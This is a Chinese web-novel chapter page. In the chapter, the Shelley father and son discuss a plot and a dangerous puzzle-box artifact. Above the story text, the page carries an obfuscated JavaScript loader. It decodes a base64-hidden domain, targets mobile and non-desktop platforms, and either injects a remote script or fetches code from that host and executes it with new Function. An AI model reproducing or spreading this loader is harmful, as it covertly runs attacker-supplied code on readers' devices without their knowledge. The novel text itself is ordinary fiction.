妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第361章 Ch360 父与子(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

('第361章ch.360父与子

“你的意思是,她上钩了。”

\x08詹姆斯·雪莱的住处不同于市面上大多数绅士的——在某种程度上,他和「泰勒」有着同样的喜好:

乐于将自己的住处打扮的枝招展,生怕人瞧不出它玲珑有致,风华绝代。

比如多用黄金、彩宝,象牙、狮皮;用世面难得一见的精巧壁雕,用抽了艺术家此生灵气的油画;用那最罕得的羽毛,深海中凝光的珠子,远渡重洋的木料。

极尽奢靡。

就连牙签都分门别类。用特殊美食时,不同的牙签上涂染着不同的佐料。

可以说,詹姆斯·雪莱享受着每一枚赚来的金镑。

它们染着他同类的鲜血,被他含在嘴里细细品味,不落下每一滴复杂的味道。

“当然。”

小雪莱握着直来直去的烟斗。烟草在斗钵里烧得温柔,堆起一丘白灰。

“她没什么脑子。”

青年喜欢这草的风味,不禁多尝了两口才继续:“…不,应该说,那是个自以为聪明的傻瓜。”

小雪莱评价。

作为父亲的詹姆斯·雪莱只静静听着,手里那只比起儿子的直斗,有了条下坠的弧度:

如果非要说象征,这也的确象征了点什么。

他装的烟草更加有胡椒感,是他这样上年纪的人喜欢的。

“老泰瑞着急靠上圣十字,他必然要她女儿想办法。仲裁人,仲裁者。瞧瞧这群自私自利、标榜公正的废物净干出什么事来。”老雪莱边说边往外吐烟雾。

相较圣十字,他更不屑公正教会。

这群人干着商人的事,却打着圣人的旗帜。

让人不耻。

“班克斯先生要我们快一些把这东西扔出去。约翰,快一点,否则我们就有麻烦。”

“一伙麻烦的人正打它的主意…”

“你总归不想亲自面对他们,是不是。”

约翰·雪莱点了下头,用嘴角夹住烟嘴。

父子俩吞云吐雾,时不时喝上一口红酒。

关于迷匣,詹姆斯·雪莱显然清楚这玩意有多麻烦——这和他一贯的处事方式不符。

带不来一点好处,全是麻烦。

黛丽丝的十三迷匣。

去他妈的黛丽丝。

“那到底有什么作用?”

小雪莱不大幸运,没能成为仪式者。

所以,他不了解「迷匣」,也没法参与到私人联盟的另一面去。

“一个麻烦,孩子。”詹姆斯·雪莱叹气。年轻时那张俊俏的脸给了他长久的实惠,即便老了,他仍能凭借样貌吸引不少女士:“诱人的麻烦。”

老人声音透着疲意。

“班克斯和其他先生们尝试过,付出了惨痛的代价。”

他说。

那是一个几乎勒断颈骨的陷阱。

“他们把盒子从那‘怪物’手中夺了出来,联盟里唯独特殊的姑娘——或许世界上只有那么一个的姑娘,用自己的生命打开了它。”

小雪莱呼吸变得急促:“那里面有什么?”

声音滑入沉默。

片刻后,只有叹息。

——那姑娘成功了,也失败了。

她‘血脉’不够纯粹,打开了盒子,却没能坚持半个呼吸。

在死前,只留下两个古怪的词。

‘大罪’和‘幻想’。

这也是为什么,当霍金斯死后,私人联盟立刻在金岛加派人手,并开始在私下里收缴有关‘幻想’的升环仪式——那盒子预言里的人,或某个组织,邪教…

正逐步登上历史的舞台。

小雪莱皱了皱眉头:“他们说「十三迷匣」拥有统治世界的力量。”

詹姆斯·雪莱叼着烟斗,咂巴几下嘴,漠不关心。“哦,是吗。”

“父亲?”

活了几十年的老雪莱可比他儿子要清醒。

统治世界?

如果非要较真,他们连自己的人生都统治不了。

别做梦了。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间